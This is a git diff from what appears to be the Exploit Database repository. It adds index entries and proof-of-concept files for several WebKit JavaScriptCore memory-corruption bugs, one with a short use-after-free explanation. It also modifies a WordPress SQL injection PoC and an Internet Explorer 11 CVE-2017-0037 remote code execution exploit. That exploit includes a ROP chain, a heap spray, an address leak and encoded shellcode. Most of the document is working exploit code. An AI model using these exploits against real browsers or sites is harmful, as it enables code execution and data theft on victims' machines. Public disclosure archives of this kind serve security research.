diff --git a/files.csv b/files.csv index 02c939048..b4cce7821 100644 --- a/files.csv +++ b/files.csv @@ -5620,6 +5620,11 @@ id,file,description,date,author,platform,type,port 42365,platforms/multiple/dos/42365.html,"WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0 42366,platforms/multiple/dos/42366.html,"WebKit - 'WebCore::Node::getFlag' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0 42367,platforms/multiple/dos/42367.html,"WebKit - 'WebCore::getCachedWrapper' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0 +42373,platforms/multiple/dos/42373.html,"WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Handling",2017-07-25,"Google Security Research",multiple,dos,0 +42374,platforms/multiple/dos/42374.html,"WebKit JSC - 'arrayProtoFuncSplice' Uninitialized Memory Reference",2017-07-25,"Google Security Research",multiple,dos,0 +42375,platforms/multiple/dos/42375.html,"WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy",2017-07-25,"Google Security Research",multiple,dos,0 +42376,platforms/multiple/dos/42376.html,"WebKit JSC - 'ArgumentsEliminationPhase::transform' Incorrect LoadVarargs Handling",2017-07-25,"Google Security Research",multiple,dos,0 +42377,platforms/multiple/dos/42377.txt,"WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free",2017-07-25,"Google Security Research",multiple,dos,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 @@ -38174,3 +38179,4 @@ id,file,description,date,author,platform,type,port 42359,platforms/php/webapps/42359.txt,"PaulShop - SQL Injection / Cross-Site Scripting",2017-07-24,"BTIS Team",php,webapps,0 42371,platforms/json/webapps/42371.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution",2017-07-24,"RedTeam Pentesting",json,webapps,0 42372,platforms/json/webapps/42372.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Arbitrary File Disclosure",2017-07-24,"RedTeam Pentesting",json,webapps,0 +42378,platforms/multiple/webapps/42378.html,"WebKit JSC - 'JSObject::putInlineSlow and JSValue::putToPrimitive' Universal Cross-Site Scripting",2017-07-25,"Google Security Research",multiple,webapps,0 diff --git a/platforms/multiple/dos/42373.html b/platforms/multiple/dos/42373.html new file mode 100755 index 000000000..d7724096a --- /dev/null +++ b/platforms/multiple/dos/42373.html @@ -0,0 +1,27 @@ + + +function f() { + (function () { + eval('1'); + f(); + }()); + + throw 1; +} + +f(); diff --git a/platforms/multiple/dos/42374.html b/platforms/multiple/dos/42374.html new file mode 100755 index 000000000..7270222f2 --- /dev/null +++ b/platforms/multiple/dos/42374.html @@ -0,0 +1,53 @@ + + +function gc() { + for (let i = 0; i < 4; i++) + new ArrayBuffer(0x1000000); +} + +Array.prototype.__defineGetter__(1000, () => 0); + +for (let i = 0; i < 0x1000; i++) + new Array(0x10).fill([{}, {}, {}, {}]); + +for (let i = 0; i < 0x1000; i++) { + let x = {length: 0x10}; + x.__defineGetter__(0, () => gc()); + Array.prototype.splice.call(x, 0); +} \ No newline at end of file diff --git a/platforms/multiple/dos/42375.html b/platforms/multiple/dos/42375.html new file mode 100755 index 000000000..ea703ed2a --- /dev/null +++ b/platforms/multiple/dos/42375.html @@ -0,0 +1,74 @@ + + +function optNewArrayAndConcat() { + let a = [,,,,,,,,,]; + return Array.prototype.concat.apply(a); +} + +function main() { + Array.prototype.constructor = { + [Symbol.species]: function () { + return [{}]; + } + }; + + gc(); + + for (let i = 0; i < 0x10000; i++) { + optNewArrayAndConcat().fill({}); + } + + gc(); + + for (let i = 0; i < 0x20000; i++) { + let res = optNewArrayAndConcat(); + if (res[0]) + print(res.toString()); + } +} + +main(); \ No newline at end of file diff --git a/platforms/multiple/dos/42376.html b/platforms/multiple/dos/42376.html new file mode 100755 index 000000000..26e02b7c6 --- /dev/null +++ b/platforms/multiple/dos/42376.html @@ -0,0 +1,68 @@ + + +const kArgsLength = 0x101; + +let buggy = null; +function inlineFunc() { + if (arguments.length != kArgsLength) { + buggy = arguments; + } +} + +class ClassForInine extends inlineFunc { +} + +function sleep(ms) { + let start = new Date(); + while (new Date() - start < ms); +} + +function main() { + let args = new Array(kArgsLength); + args.fill(333 + 1); + args = args.join(', '); + + let opt = new Function(`(() => { + new ClassForInine(${args}); + })();`); + + for (let i = 0; i < 0x100000; i++) { + opt(); + + if (i === 0x3000) + sleep(1000); + + if (buggy) { + print('buggy.length: ' + buggy.length); + break; + } + } + + for (let i = 0, n = buggy.length; i < n; i++) { + print(buggy[i]); + } +} + +main(); \ No newline at end of file diff --git a/platforms/multiple/dos/42377.txt b/platforms/multiple/dos/42377.txt new file mode 100755 index 000000000..8441ec75e --- /dev/null +++ b/platforms/multiple/dos/42377.txt @@ -0,0 +1,25 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256 + +Here's a snippet of ObjectPatternNode::appendEntry. + +void appendEntry(const JSTokenLocation&, ExpressionNode* propertyExpression, DestructuringPatternNode* pattern, ExpressionNode* defaultValue, BindingType bindingType) +{ + m_targetPatterns.append(Entry{ Identifier(), propertyExpression, false, pattern, defaultValue, bindingType }); +} + +Here's the definition of Entry. + +struct Entry { + const Identifier& propertyName; + ExpressionNode* propertyExpression; + bool wasString; + DestructuringPatternNode* pattern; + ExpressionNode* defaultValue; + BindingType bindingType; +}; + +The Identifier object created by "Identifier()" is in the stack. So it will get freed in the end of the appendEntry method. + +PoC: + +var {[a]: b, ...[]} = {}; \ No newline at end of file diff --git a/platforms/multiple/webapps/42378.html b/platforms/multiple/webapps/42378.html new file mode 100755 index 000000000..ac11f1388 --- /dev/null +++ b/platforms/multiple/webapps/42378.html @@ -0,0 +1,58 @@ + + + + + + + \ No newline at end of file diff --git a/platforms/php/webapps/10488.txt b/platforms/php/webapps/10488.txt index 136a60751..582f39cc5 100755 --- a/platforms/php/webapps/10488.txt +++ b/platforms/php/webapps/10488.txt @@ -130,6 +130,8 @@ and subdate(curdate(), interval 9999 9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999 +## E-DB NOTE: Try 999 days if 9999 doesn't work in your environment. + I wrote a PoC, to get automatically the password hash of the WordPress admin account: diff --git a/platforms/windows/remote/42354.html b/platforms/windows/remote/42354.html index fc348073e..46595aa3d 100755 --- a/platforms/windows/remote/42354.html +++ b/platforms/windows/remote/42354.html @@ -7,246 +7,246 @@ Code Execution (MS17-007) # Version: Microsoft Internet Explorer 11 # Tested on: Windows 7 SP1 x86 # CVE : CVE-2017-0037 - - changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} - "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] - "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) - "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) - "%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx) - "%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll] - "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) - "%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll] - "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] - "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040 - "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] - "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) - "%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll] - "%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll] - "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) - "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) - "%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll] - "%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll] - "%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll] - "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] - "%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll] - "%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} - "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) - "%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll] - - */ - - - - // Move ESP to the VirtualAlloc ROP chain - var stack_shift_rop = unescape( - writeu(0,235802130) + - writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} - writeu(0,0x0e0e1258) + - writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} - writeu(0,0x41414141) + - writeu(0,0x41414141) + - writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} - writeu(0,0x41414141) + - writeu(0,0x41414141) + - ""); - - - - - // root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le - // ~2854 bytes max - - var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption - "%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" + - ""); - - - var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} - var fix1 = 0x15c; - var fixop = unescape("%u0e0e%u0e0e"); - var offset_to_stack_shift = 0x6f7; - var offset_to_xchg = 0xd2+2; - // Jumping a bit around here, pretty sure this can be simplified but hey... it works - data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg; - data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length); - - while (data.length < 0x80000) data += data; - for (var i = 0; i < 0x350; i++) - { - var obj = document.createElement("button"); - obj.title = data.substring(0,(0x7fb00-2)/2); - hso.appendChild(obj); - } - } - - function boom() { - document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; - th1.align = "right"; - } - - setTimeout(function() { - - var txt = document.getElementById("textarea"); - var il = txt.value.substring(0,2); - var leaked_addr = readu(il); - base_leaked_addr = leaked_addr - 0xbacc; // base of propsys - base_leaked_addr = base_leaked_addr.toString(16); - spray(); - boom(); - - }, 1000); // can be reduced - + + - + -
- -
+
+ +
- - - - -
+ + + + +
\ No newline at end of file